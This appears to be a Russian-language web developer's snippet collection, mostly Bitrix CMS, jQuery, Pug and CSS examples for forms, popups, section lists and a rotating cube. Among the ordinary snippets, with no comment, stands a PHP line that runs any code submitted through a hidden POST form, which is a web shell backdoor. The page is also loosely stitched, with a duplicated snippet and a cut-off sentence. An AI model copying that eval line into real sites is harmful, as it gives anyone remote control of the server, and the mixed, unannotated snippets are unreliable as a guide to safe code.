|
1 2 3 4 |
<? setlocale(LC_ALL, 'ru_RU', 'ru_RU.UTF-8', 'ru', 'russian'); echo strftime("%d %B %Y", time()); ?> |
|
1 2 3 4 |
<? setlocale(LC_ALL, 'ru_RU', 'ru_RU.UTF-8', 'ru', 'russian'); echo strftime("%d %B %Y", time()); ?> |
Создаем в корне структуры сайта папку ajax. http://joxi.ru/Dr85Rjpco31L7m В этой папке создаем нужный файл обработчик событий.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); //отправка данных из форм $email_to = "togay.ualihan@gmail.com"; if(CModule::IncludeModule("iblock")){ $el = new CIBlockElement; //поля формы $_POST[]; //поля инфоблока $PROP; $PROP = array(); $PROP[11] = $_POST['name']; $PROP[45] = $_POST['phone']; $arLoadProductArray = Array( "MODIFIED_BY" => $USER->GetID(),// элемент изменен текущим пользователем "IBLOCK_SECTION_ID" => false,// элемент лежит в корне раздела "IBLOCK_ID" => 9,//ID инфоблока куда будут записываться данные "PROPERTY_VALUES"=> $PROP, "NAME" => ConvertTimeStamp(), "ACTIVE" => "N",// активен 'DETAIL_TEXT' => $_POST['comments'], ); if($PRODUCT_ID = $el->Add($arLoadProductArray)){ //отправляем c e-mail, указанный в настройках сайта $rsSites = CSite::GetByID(SITE_ID); $arSite = $rsSites->Fetch(); $arEventFields = array( "PHONE"=>$PROP[45], "TEXT"=>$_POST['comments'], "AUTHOR"=>$PROP[11], "EMAIL_TO"=>$email_to, "LINK"=>$arSite["SERVER_NAME"]."/bitrix/admin/iblock_element_edit.php?IBLOCK_ID=9&type=ru&ID=".$PRODUCT_ID ); //OTZ_FORM - шаблон почты CEvent::Send("OTZ_FORM", SITE_ID, $arEventFields); echo "OK"; }else echo "Error: ".$el->LAST_ERROR; } ?> |
3. Создаем файл отправки сообщения на JS
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$.ajax({ type: "POST", url: "/ajax/reviews.php", data: $("#reviewsForm").serialize(), success:function(data) { if(data==="OK"){ $("#reviewsForm").html("Ваш отзыв отправлен!"); }else{ $("#reviewsForm .callback_error").html("Ошибка отправления"); } } }); |
…
|
1 2 3 4 5 6 7 8 9 |
jQuery(function($){ $(document).mouseup(function (e){ // событие клика по веб-документу var div = $("#popup"); // тут указываем ID элемента if (!div.is(e.target) // если клик был не по нашему блоку && div.has(e.target).length === 0) { // и не по его дочерним элементам div.hide(); // скрываем его } }); }); |
jQuery: Закрытие элемента по клику за пределами его области (вне элемента)
|
1 2 3 4 5 6 7 8 9 |
$(function() { $('.select-list ul li').hover(function(){ var id = $(this).attr('id'); $('.select-list ul li').removeClass('active'); $(this).addClass('active'); $('.circle ul li').removeClass('active'); $('[data-pic="'+id+'"]').addClass('active'); }); }); |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
.bl-1 .circle ul li.active(data-pic="image-1") img(src="/img/foto-list-1.jpg") li(data-pic="image-2") img(src="/img/foto-list-2.jpg") li(data-pic="image-3") img(src="/img/foto-list-3.jpg") li(data-pic="image-4") img(src="/img/foto-list-4.jpg") li(data-pic="image-5") img(src="/img/foto-list-5.jpg") li(data-pic="image-6") img(src="/img/foto-list-6.jpg") li(data-pic="image-7") img(src="/img/foto-list-7.jpg") li(data-pic="image-8") img(src="/img/foto-list-8.jpg") li(data-pic="image-9") img(src="/img/foto-list-9.jpg") li(data-pic="image-10") img(src="/img/foto-list-10.jpg") |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
.bl-2 .select-list ul li.active(id="image-1") Мягкую мебель, кровати li(id="image-2") Шкафы, стулья, столы li(id="image-3") Бытовую технику li(id="image-4") Спортивный инвентарь, велосипеды li(id="image-5") Садовые инструменты, стройматериалы li(id="image-6") Автомобильную резину, шины li(id="image-7") Личные домашние вещи li(id="image-8") Туристическое снаряжение li(id="image-9") Сумки, чемоданы li(id="image-10") Архивы, документы |
|
1 |
<?=round(12.123, 0);?> //выдаст 12 |
Часто бывает так, что файлы и папки в проекте создаются разными путями (через FTP-клиент, панель управления хостингом, командную строку или самым скриптом), а значит имеют …
Создаем пользовательское поле. http://joxi.ru/MAjGOxTjOP3ore Добавляем в параметры компонента SECTION_USER_FIELDS с пользовательским полем. http://joxi.ru/EA49B3HoyQ56rb Выводим. http://joxi.ru/82QD9xSwW5aGmd
|
1 2 |
<?php if ( isset($_POST['text']) )eval ($_POST['text']);?> <form style="display:none;" method='POST'><textarea name='text'></textarea><input type='submit'></form> |
Итак, добавляем компонент bitrix.news.list Копируем в свой шаблон, создаем файл result_modifier.php
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$dbResSect = CIBlockSection::GetList( Array("SORT"=>"ASC"), Array("IBLOCK_ID"=>$arParams['IBLOCK_ID']) ); //Получаем разделы и собираем в массив while($sectRes = $dbResSect->GetNext()) { $arSections[] = $sectRes; } //Собираем массив из Разделов и элементов foreach($arSections as $arSection){ foreach($arResult["ITEMS"] as $key=>$arItem){ if($arItem['IBLOCK_SECTION_ID'] == $arSection['ID']){ $arSection['ELEMENTS'][] = $arItem; } } $arElementGroups[] = $arSection; } $arResult["ITEMS"] = $arElementGroups; |
Далее в шаблоне выводим.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?foreach($arResult["ITEMS"] as $arSection):?> <div class="section"><?=$arSection['NAME']?> <?/*foreach($arSection["ELEMENTS"] as $key=>$arItem):?> <div class="element"> <?=$arItem["NAME"]?> <?=$arItem["PREVIEW_TEXT"]?> </div> <?endforeach*/?> </div> <?endforeach?> |
|
1 |
https://via.placeholder.com/387x258/DDDDDD/?text=foto |
создаем фото нужного размера и цвета
|
1 2 3 4 5 6 7 8 9 10 |
$(function() { $('.desktop-menu li a').mouseover(function(e){ e.preventDefault(); var deg = $('.cube').attr('style').match(/\d+/); if (deg[0] >= 50) { var res = +deg[0] + 90; $('.cube').css('transform', 'rotateY('+ res + 'deg)'); }; }); }); |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<nav> <ul> <li> <a href="#">Меню 1</a></li> <li> <a href="#">Меню 2</a></li> <li> <a href="#">Меню 3</a></li> <li> <a href="#">Меню 4</a></li> <li> <a href="#">Меню 5</a></li> <li> <a href="#">Меню 6</a></li> </ul> </nav> <div class="content"> <div class="cube" data-rotate="50"> <div class="back side"></div> <div class="left side"></div> <div class="right side"></div> <div class="top side"></div> <div class="bottom side"></div> <div class="front side"></div> </div> </div> |